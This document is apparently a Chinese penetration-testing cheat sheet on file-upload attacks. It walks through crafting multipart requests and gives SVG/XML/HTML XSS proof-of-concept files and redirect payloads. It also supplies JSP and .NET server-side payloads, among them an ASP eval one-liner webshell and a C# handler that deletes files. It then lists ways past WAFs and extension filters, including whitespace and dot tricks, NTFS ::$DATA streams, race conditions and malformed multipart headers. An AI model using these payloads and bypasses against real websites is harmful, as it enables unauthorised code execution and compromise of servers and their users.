构造数据包 首先讲请求改成POST,请求体中一定要有参数,例如upfile=123456
右击选择改成表单模式:change body encoding
就会变成下面的格式
然后再添加文件参数名,在upfile后加入文件名:;filename="微信图片_20240220223517.png"
,此时就构造好了一个数据包
文件上传导致XSS的POC xss.svg和xss.xml <?xml version="1.0" standalone="no" ?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" > <svg version ="1.1" baseProfile ="full" xmlns ="http://www.w3.org/2000/svg" > <rect width ="300" height ="100" style ="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" /> <script type ="text/javascript" > alert ("SVG XSS" ); </script > </svg >
<?xml version="1.0" standalone="no" ?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" > <svg version ="1.1" baseProfile ="full" xmlns ="http://www.w3.org/2000/svg" > <polygon id ="triangle" points ="0,0 0,50 50,0" fill ="#009900" stroke ="#004400" /> <script type ="text/javascript" > alert (1 ); 或者console .log (1 )</script > </svg > 如果遇到waf poc加到图片里面就行
以上两个是造成弹窗的POC,但是在实战中,为了不让自己进去,我们尽量传跳转的POC,也就是下面的POC
test.svg
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" > <a xlink:href="https://baidu.com" > <rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" /> </a> </svg>
test.xml
<svg version ="1.1" baseProfile ="full" xmlns ="http://www.w3.org/2000/svg" xmlns:xlink ="http://www.w3.org/1999/xlink" > <a xlink:href ="https://baidu.com" > <rect width ="300" height ="100" style ="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" /> </a > </svg >
xss.html <script type ="text/javascript" > alert ("XSS" );</script > "><svg/onload=console.log(1)> 改成跳转了,不要传弹xss的poc了,除非是众测或者大厂src <script type ="text/javascript" > window .location .href = "https://www.baidu.com" ; </script >
以上这些方法都是可以直接放在body中进行插入
各种语言上传解析 php
java
<% out.println("Hello World" ); %> <hi xmlns:hi="http://java.sun.com/JSP/Page" > <hi:scriptlet> out.println(30 *30 ); </hi:scriptlet> </hi>
net
<%eval request ("pass" )%> <% @ webhandler language ="C#" class ="AverageHandler" %>using System;using System.Web;using System.Diagnostics;using System.IO;public class AverageHandler : IHttpHandler { public bool IsReusable { get { return true ; } } public void ProcessRequest (HttpContext ctx ) { Uri url = new Uri(HttpContext.Current.Request.Url.Scheme + "://" + HttpContext.Current.Request.Url.Authority + HttpContext.Current.Request.RawUrl); string action = HttpUtility.ParseQueryString(url.Query).Get("action" ); if (action == "test" ){ ctx.Response.Write("RCE TEST" ); }else if (action == "kill" ){ try { File.Delete(System.Web.HttpContext.Current.Request.PhysicalApplicationPath + url.LocalPath); } catch (Exception error) { ctx.Response.Write(error); } } } }
各种语言后缀名绕过
WAF的绕过 contnet-type绕过
空格绕过上传 filename=".jsp " //末尾加入空格 filename=".j s p " //使用换行符
点绕过上传
原理在于会从最后一个点解析,认为最后一个.
之后的东西为后缀名
::$DATA绕过(适用于Windows)
对NTFS格式下的一个文件而言,至少包含一个流,即data流,data流是文件的主流,默认的data流其stream name为空。默认一个文件如果被指定了流,而该流没有stream type的话会在存储时自动添加$DATA
如下,在.php
后加上::$DATA
,将数据包forward
发现文件被成功上传到服务器,且后缀名为.php::$data
,但是由于Windows的特性,在磁盘中会忽略::$data
并将文件新建
条件竞争漏洞 条件竞争漏洞是一种服务器端的漏洞,由于服务器端在处理不同用户的请求时是并发进行的,因此,如果并发处理不当或相关操作逻辑顺序设计的不合理时,将会导致此类问题的发生。
上传文件源代码里没有校验上传的文件,文件直接上传,上传成功后才进行判断:如果文件格式符合要求,则重命名,如果文件格式不符合要求,将文件删除。 由于服务器并发处理(同时)多个请求,假如a用户
上传了木马文件,由于代码执行需要时间,在此过程中b用户
访问了a用户
上传的文件,会有以下三种情况: 1.访问时间点在上传成功之前,没有此文件。 2.访问时间点在刚上传成功但还没有进行判断,该文件存在。 3.访问时间点在判断之后,文件被删除,没有此文件。
具体案例参考如下:【文件上传绕过】——条件竞争漏洞_条件竞争上传漏洞-CSDN博客
畸形协议 畸形上传,就是另类上传,攻击者通过巧妙地命名来绕过网站的检测函数,其实就是非正常文件命名
文件名双引号去掉,改成单引号等等都是畸形协议
分块传输内容 有相关的插件可以实现
传两个表单
传两个文件名
文件名多个等号
参数名多个等号
boundary多个等号或者——
随机数修改
Content-Disposition溢出
删除Content-Type
文件名溢出
Accept-Encoding:修改